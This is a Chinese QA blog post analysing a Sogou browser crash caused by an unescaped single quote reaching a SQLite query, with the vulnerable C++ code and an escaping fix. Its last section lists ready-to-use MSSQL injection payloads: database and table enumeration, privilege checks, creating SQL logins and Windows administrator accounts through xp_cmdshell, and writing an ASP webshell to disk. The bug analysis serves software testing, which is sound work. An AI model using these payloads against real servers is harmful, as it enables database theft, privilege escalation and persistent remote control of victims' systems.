[BUG分享]搜狗瀏覽器地址欄輸入特殊字符導致程序崩潰

【Bug現象】:

使用搜狗瀏覽器release1.0.1版本做如下操作會造成瀏覽器崩潰:
1. 啓動瀏覽器
2. 在地址欄輸入www.sohu.com’
當執行以上操作後,程序發生崩潰。

【Bug背景】:

搜狗瀏覽器地址欄的suggest列表功能強大,可以提供用戶曾經訪問過的URL、瀏覽器預置的TOP站點URL、以及搜狗搜索引擎在線搜索的URL三大類數據。當用戶在地址欄輸入字符時,瀏覽器會根據用戶輸入的字符在本地的數據庫中進行查找,如果存在模糊匹配的數據就會按照一定的順序在suggest列表中顯示。本地數據庫採用的是sqlite,用戶曾經訪問過的URL都會插入該數據庫的一個UserRankUrl的表中。

【知識補充】:

SQLite是一款輕型的數據庫,是遵守ACID的關聯式數據庫管理系統,它的設計目標是嵌入式的,而且目前已經在很多嵌入式產品中使用了它,它佔用資源非常的低,在嵌入式設備中,可能只需要幾百K的內存就夠了。它能夠支持Windows/Linux/Unix等等主流的操作系統,同時能夠跟很多程序語言相結合,比如Tcl、PHP、Java等,還有ODBC接口,同樣比起Mysql、PostgreSQL這兩款開源世界著名的數據庫管理系統來講,它的處理速度比他們都快。
  SQLite雖然很小巧,但是支持的SQL語句不會遜色於其他開源數據庫,它支持的SQL包括:
  

ATTACH DATABASE
BEGIN TRANSACTION
comment
COMMIT TRANSACTION
COPY
CREATE INDEX
CREATE TABLE
CREATE TRIGGER
CREATE VIEW
DELETE
DETACH DATABASE
DROP INDEX
DROP TABLE
DROP TRIGGER
DROP VIEW
END TRANSACTION
EXPLAIN
expression
INSERT
ON CONFLICT clause
PRAGMA
REPLACE
ROLLBACK TRANSACTION
SELECT
UPDATE

同時它還支持事務處理功能等等。也有人說它象Microsoft的Access,有時候真的覺得有點象,但是事實上它們區別很大。比如SQLite 支持跨平臺,操作簡單,能夠使用很多語言直接創建數據庫,而不象Access一樣需要Office的支持。

【Bug原因】:

當用戶在地址欄輸入特殊字符時,瀏覽器沒有對其進行檢查而直接賦值給數據庫的查詢語句,造成數據庫查詢失敗拋異常並導致程序崩潰。

bool CHistoryData::SearchUserRankUrlTableByBoth(const char* pszUrl, AddrListData* pData, DWORD* pdwCount)
{
  if (!m_pHistoryDB || !pData || !pdwCount)
  {
     return false ;
  }
  USES_CONVERSION ;
  EnterCriticalSection(&m_c) ;
  wstring wstrID = L"" ;
  CppSQLite3Buffer buf ;
  buf.format("select *, (keyfacotr) as t from UserRankUrl where id like '%%%s%%' or title like '%%%s%%' order by t desc limit %d;", pszUrl, pszUrl, 20 - *pdwCount) ;

  //如果輸入www.baidu.com',那麼最終buf=select * ,(keyfacotr)as t from UserRankUrl where id like '%www.baidu.com'%' or title like '%www.baidu.com%'%' order by t desc limit 20;

  FillAddrbarWithData(buf, pData, pdwCount, 20 - *pdwCount) ;
  LeaveCriticalSection(&m_c) ;
  return true ;
}

可以看到上述查詢語句中因爲特殊關鍵字’的引入而導致查詢語句出現異常.當sqlite執行上面這條查詢語句時 ,會拋數據庫異常;同時瀏覽器也沒有通過try…catch…來捕獲異常,最終導致程序崩潰。

【解決辦法】:

在組織查詢語句之前加入TransferMeaningOfSingleQuoteOfUrl函數,對特殊字符進行處理,由原來的[www.baidu.com’]變爲[www.baidu.com’’],從而達到對’的過濾。

int TransferMeaningOfSingleQuoteOfUrl(const wchar_t* psz)
{
  if (!psz)
  {
    return -1 ;
  }
  memset(wbufUrl, 0, sizeof(wbufUrl)) ;
  int iSrc = wcslen(psz) ;
  int i = 0 ;
  int j = 0 ;
  while (i < iSrc)
  {
    if (j >= 511)
    {
      return -1 ;
    }
    if (psz[i] != L'\'')
    {
      wbufUrl[j++] = psz[i++] ;
    }
    else
    {
      wbufUrl[j++] = psz[i] ;
      wbufUrl[j++] = psz[i++] ;//替換’爲”
    }
  }
  return i ;
}

【Bug總結】:


  1. 我們在設計數據庫相關操作的用例時,需要考慮在查詢語句中加入特殊字符:~!~@#$%^&*()_+|[]-={};’:”<>?,./等等,並且在查詢字符串之前、末尾和中間加入,如’www.baidu.com、www.baidu.com’和www.’baidu.com。
  2. 如果情況允許,獲取查詢數據庫時的程序代碼,這樣便於我們更有效地設計測試用例。
  3. 如果是測試站點,針對sql的安全性,使用黑客工具或自動化工具進行注入式攻擊的專項測試,例如經典的用戶名輸入–;delete from [tablename]。

以下列舉了一般常用的注入式攻擊語句:
1)瀏覽TEMP表的方法是
and (select top 1 id from TestDB.dbo.temp)>0 假設TestDB是當前連接的數據庫名
2) 猜解所有數據庫名稱
and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 dbid=6,7,8分別得到其它庫名
3) 猜解數據庫中用戶名錶的名稱
and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳號表的名稱。
4) 判斷是否是sysadmin權限
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’))
5) 判斷是否是SA用戶
‘sa’=(SELECT System_user)
6) 查看數據庫角色
;use model–
7) 查看庫名
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)–
8) 獲得第一個用戶建立表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 )>0 假設要獲得數據庫是TestDB.dbo
9) 獲得第二個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’))>0
10) 獲得第三個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’,”))>0 ”中爲第二個用戶名
11) 獲得第四個用戶建立的表的名稱
and (select top 1 name from TestDB.dbo.sysobjects where xtype=’U’ and status>0 and name not in(‘xyz’,”,”))>0 ”,”中爲第二,三個用戶名
12) 獲得表中記錄的條數
and (select count(*) from 表名)<5 記錄條數小於5 或 <10 記錄條數小於10 ……等等
13) 測試權限結構(mssql)
and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–
and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–
and 1=(SELECT IS_MEMBER(‘db_owner’));–
14) 添加mssql和系統的帳戶
;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
15) 簡潔的webshell
use model
create table cmd(str image);
insert into cmd(str) values (‘<%=server.createobject(“wscript.shell”).exec(“cmd.exe /c “&request(“c”)).stdout.readall%>’);
backup database model to disk=’g:\wwwtest\l.asp’;

發佈了26 篇原創文章 · 獲贊 8 · 訪問量 6萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章